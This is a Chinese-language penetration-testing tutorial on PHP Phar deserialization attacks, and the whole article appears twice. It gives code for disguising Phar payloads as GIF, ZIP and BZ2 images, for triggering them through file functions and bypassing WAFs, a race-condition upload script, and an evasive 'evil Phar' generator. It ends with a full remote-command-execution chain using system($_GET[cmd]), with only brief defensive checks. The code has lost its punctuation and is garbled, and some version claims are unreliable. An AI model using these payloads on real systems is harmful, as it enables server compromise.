PHP Phar反序列化实战3种文件格式伪装与5个关键函数触发分析1. 渗透测试中的Phar武器化思路在真实的渗透测试场景中PHP Phar反序列化漏洞往往比传统反序列化更具杀伤力。与常规反序列化不同Phar攻击不需要直接调用unserialize()函数而是通过文件系统操作间接触发。这种特性使其成为绕过安全防护的利器。攻击链的典型构成文件上传点突破通过精心构造的Phar文件上传伪协议触发利用存在缺陷的文件操作函数魔术方法跳板通过__destruct()等魔术方法执行代码我们来看一个典型的攻击场景某CMS系统允许用户上传头像图片但仅允许GIF格式。攻击者可以这样突破// 生成伪装成GIF的Phar文件 $phar new Phar(exploit.phar); $phar-setStub(GIF89a.?php __HALT_COMPILER(); ?); $phar-addFromString(test.txt, test); $phar-setMetadata(new DangerousClass());2. 三种文件格式伪装技术2.1 GIF格式伪装这是最基础的伪装方式通过添加GIF文件头实现$phar-setStub(GIF89a.?php __HALT_COMPILER(); ?);绕过检测要点文件头必须包含GIF89a或GIF87a文件内容需通过上传检测文件扩展名需为.gif2.2 ZIP格式深度伪装当系统检测文件内容时简单的文件头可能不够。此时可采用ZIP格式伪装// 生成标准ZIP文件 $zip new ZipArchive(); $zip-open(exploit.zip, ZipArchive::CREATE); $zip-addFromString(test.txt, test); $zip-setArchiveComment(serialize($payload)); $zip-close(); // 重命名为图片格式 rename(exploit.zip, exploit.jpg);触发时使用phar://zip://exploit.jpg%23test2.3 BZ2压缩伪装对于严格检测文件魔数的系统可采用BZ2压缩bzip2 -k exploit.phar mv exploit.phar.bz2 exploit.jpg触发方式phar://compress.bzip2://exploit.jpg/test.txt3. 五种关键触发函数分析3.1 file_get_contents()触发条件参数完全或部分可控无协议黑名单限制典型漏洞代码$content file_get_contents($_GET[url]);利用方式file_get_contents(phar:///path/to/exploit.phar);3.2 file_exists()特殊优势常用于权限检查等关键位置通常参数控制更宽松实战案例if(file_exists($_GET[template])) { include($_GET[template]); }3.3 is_dir()检测绕过独特价值常用于目录存在性检查可结合路径穿越使用攻击示例is_dir(phar:///var/www/uploads/exploit.jpg/../);3.4 stat()家族函数包含函数stat()lstat()fstat()利用特点常用于文件属性检查可绕过常规安全审计3.5 文件哈希计算函数可利用函数md5_file()sha1_file()hash_file()特殊场景文件校验环节文件去重功能4. 高级绕过技术4.1 WAF绕过技巧当phar://被过滤时可尝试// 编码绕过 php://filter/convert.base64-encode/resourcephar://exploit.phar // 多重包装 compress.zlib://phar:///exploit.phar4.2 无文件写入技巧通过条件竞争在临时目录触发import threading import requests def upload(): while True: requests.post(target, files{file: (test.phar, phar_data)}) def trigger(): while True: requests.get(target ?filephar:///tmp/phpXXXXXX) threading.Thread(targetupload).start() threading.Thread(targettrigger).start()5. 实战工具与检测防御5.1 Phar生成工具改进传统Phar生成方式容易被检测改进方案function generateEvilPhar($outputPath, $payload) { $phar new Phar($outputPath); $phar-startBuffering(); // 随机化stub $stubs [ GIF89a, \x89PNG\r\n\x1a\n, \xFF\xD8\xFF\xE0 // JPEG ]; $stub $stubs[rand(0,2)].?php __HALT_COMPILER(); ?; $phar-setStub($stub); $phar-addFromString(md5(rand())..txt, test); $phar-setMetadata($payload); // 添加垃圾数据干扰检测 for($i0; $i5; $i) { $phar-addFromString(res_.$i..txt, str_repeat(rand(), 100)); } $phar-stopBuffering(); }5.2 防御检测方案服务器端检测function isSafeFile($file) { // 检查实际文件内容 $content file_get_contents($file); if(strpos($content, __HALT_COMPILER) ! false) { return false; } // 检查文件签名 $finfo new finfo(FILEINFO_MIME); return strpos($finfo-file($file), image/) 0; }WAF规则示例SecRule FILES rx (?i)__HALT_COMPILER \ id:1000,phase:2,deny,msg:Phar file detected6. 漏洞利用完整案例假设目标系统存在以下代码// upload.php if($_FILES[file][type] image/jpeg) { move_uploaded_file($_FILES[file][tmp_name], uploads/.$_FILES[file][name]); } // preview.php $image $_GET[file]; if(file_exists($image)) { header(Content-Type: image/jpeg); readfile($image); }攻击步骤生成恶意Pharclass Exploit { function __destruct() { system($_GET[cmd]); } } $phar new Phar(exploit.phar); $phar-setStub(\xFF\xD8\xFF\xE0.?php __HALT_COMPILER(); ?); $phar-addFromString(test.jpg, test); $phar-setMetadata(new Exploit());上传并重命名mv exploit.phar exploit.jpg触发漏洞/preview.php?filephar://uploads/exploit.jpgcmdid7. 不同PHP版本的影响版本差异对比表PHP版本特性变化影响程度5.3-7.4完全支持高危8.0元数据需手动反序列化中危8.1默认禁用phar写操作低危版本检测技巧$version explode(-, phpversion())[0]; if(version_compare($version, 8.0.0) 0) { // 需要特殊处理 }
PHP Phar 反序列化实战:3种文件格式伪装与5个关键函数触发分析
PHP Phar反序列化实战3种文件格式伪装与5个关键函数触发分析1. 渗透测试中的Phar武器化思路在真实的渗透测试场景中PHP Phar反序列化漏洞往往比传统反序列化更具杀伤力。与常规反序列化不同Phar攻击不需要直接调用unserialize()函数而是通过文件系统操作间接触发。这种特性使其成为绕过安全防护的利器。攻击链的典型构成文件上传点突破通过精心构造的Phar文件上传伪协议触发利用存在缺陷的文件操作函数魔术方法跳板通过__destruct()等魔术方法执行代码我们来看一个典型的攻击场景某CMS系统允许用户上传头像图片但仅允许GIF格式。攻击者可以这样突破// 生成伪装成GIF的Phar文件 $phar new Phar(exploit.phar); $phar-setStub(GIF89a.?php __HALT_COMPILER(); ?); $phar-addFromString(test.txt, test); $phar-setMetadata(new DangerousClass());2. 三种文件格式伪装技术2.1 GIF格式伪装这是最基础的伪装方式通过添加GIF文件头实现$phar-setStub(GIF89a.?php __HALT_COMPILER(); ?);绕过检测要点文件头必须包含GIF89a或GIF87a文件内容需通过上传检测文件扩展名需为.gif2.2 ZIP格式深度伪装当系统检测文件内容时简单的文件头可能不够。此时可采用ZIP格式伪装// 生成标准ZIP文件 $zip new ZipArchive(); $zip-open(exploit.zip, ZipArchive::CREATE); $zip-addFromString(test.txt, test); $zip-setArchiveComment(serialize($payload)); $zip-close(); // 重命名为图片格式 rename(exploit.zip, exploit.jpg);触发时使用phar://zip://exploit.jpg%23test2.3 BZ2压缩伪装对于严格检测文件魔数的系统可采用BZ2压缩bzip2 -k exploit.phar mv exploit.phar.bz2 exploit.jpg触发方式phar://compress.bzip2://exploit.jpg/test.txt3. 五种关键触发函数分析3.1 file_get_contents()触发条件参数完全或部分可控无协议黑名单限制典型漏洞代码$content file_get_contents($_GET[url]);利用方式file_get_contents(phar:///path/to/exploit.phar);3.2 file_exists()特殊优势常用于权限检查等关键位置通常参数控制更宽松实战案例if(file_exists($_GET[template])) { include($_GET[template]); }3.3 is_dir()检测绕过独特价值常用于目录存在性检查可结合路径穿越使用攻击示例is_dir(phar:///var/www/uploads/exploit.jpg/../);3.4 stat()家族函数包含函数stat()lstat()fstat()利用特点常用于文件属性检查可绕过常规安全审计3.5 文件哈希计算函数可利用函数md5_file()sha1_file()hash_file()特殊场景文件校验环节文件去重功能4. 高级绕过技术4.1 WAF绕过技巧当phar://被过滤时可尝试// 编码绕过 php://filter/convert.base64-encode/resourcephar://exploit.phar // 多重包装 compress.zlib://phar:///exploit.phar4.2 无文件写入技巧通过条件竞争在临时目录触发import threading import requests def upload(): while True: requests.post(target, files{file: (test.phar, phar_data)}) def trigger(): while True: requests.get(target ?filephar:///tmp/phpXXXXXX) threading.Thread(targetupload).start() threading.Thread(targettrigger).start()5. 实战工具与检测防御5.1 Phar生成工具改进传统Phar生成方式容易被检测改进方案function generateEvilPhar($outputPath, $payload) { $phar new Phar($outputPath); $phar-startBuffering(); // 随机化stub $stubs [ GIF89a, \x89PNG\r\n\x1a\n, \xFF\xD8\xFF\xE0 // JPEG ]; $stub $stubs[rand(0,2)].?php __HALT_COMPILER(); ?; $phar-setStub($stub); $phar-addFromString(md5(rand())..txt, test); $phar-setMetadata($payload); // 添加垃圾数据干扰检测 for($i0; $i5; $i) { $phar-addFromString(res_.$i..txt, str_repeat(rand(), 100)); } $phar-stopBuffering(); }5.2 防御检测方案服务器端检测function isSafeFile($file) { // 检查实际文件内容 $content file_get_contents($file); if(strpos($content, __HALT_COMPILER) ! false) { return false; } // 检查文件签名 $finfo new finfo(FILEINFO_MIME); return strpos($finfo-file($file), image/) 0; }WAF规则示例SecRule FILES rx (?i)__HALT_COMPILER \ id:1000,phase:2,deny,msg:Phar file detected6. 漏洞利用完整案例假设目标系统存在以下代码// upload.php if($_FILES[file][type] image/jpeg) { move_uploaded_file($_FILES[file][tmp_name], uploads/.$_FILES[file][name]); } // preview.php $image $_GET[file]; if(file_exists($image)) { header(Content-Type: image/jpeg); readfile($image); }攻击步骤生成恶意Pharclass Exploit { function __destruct() { system($_GET[cmd]); } } $phar new Phar(exploit.phar); $phar-setStub(\xFF\xD8\xFF\xE0.?php __HALT_COMPILER(); ?); $phar-addFromString(test.jpg, test); $phar-setMetadata(new Exploit());上传并重命名mv exploit.phar exploit.jpg触发漏洞/preview.php?filephar://uploads/exploit.jpgcmdid7. 不同PHP版本的影响版本差异对比表PHP版本特性变化影响程度5.3-7.4完全支持高危8.0元数据需手动反序列化中危8.1默认禁用phar写操作低危版本检测技巧$version explode(-, phpversion())[0]; if(version_compare($version, 8.0.0) 0) { // 需要特殊处理 }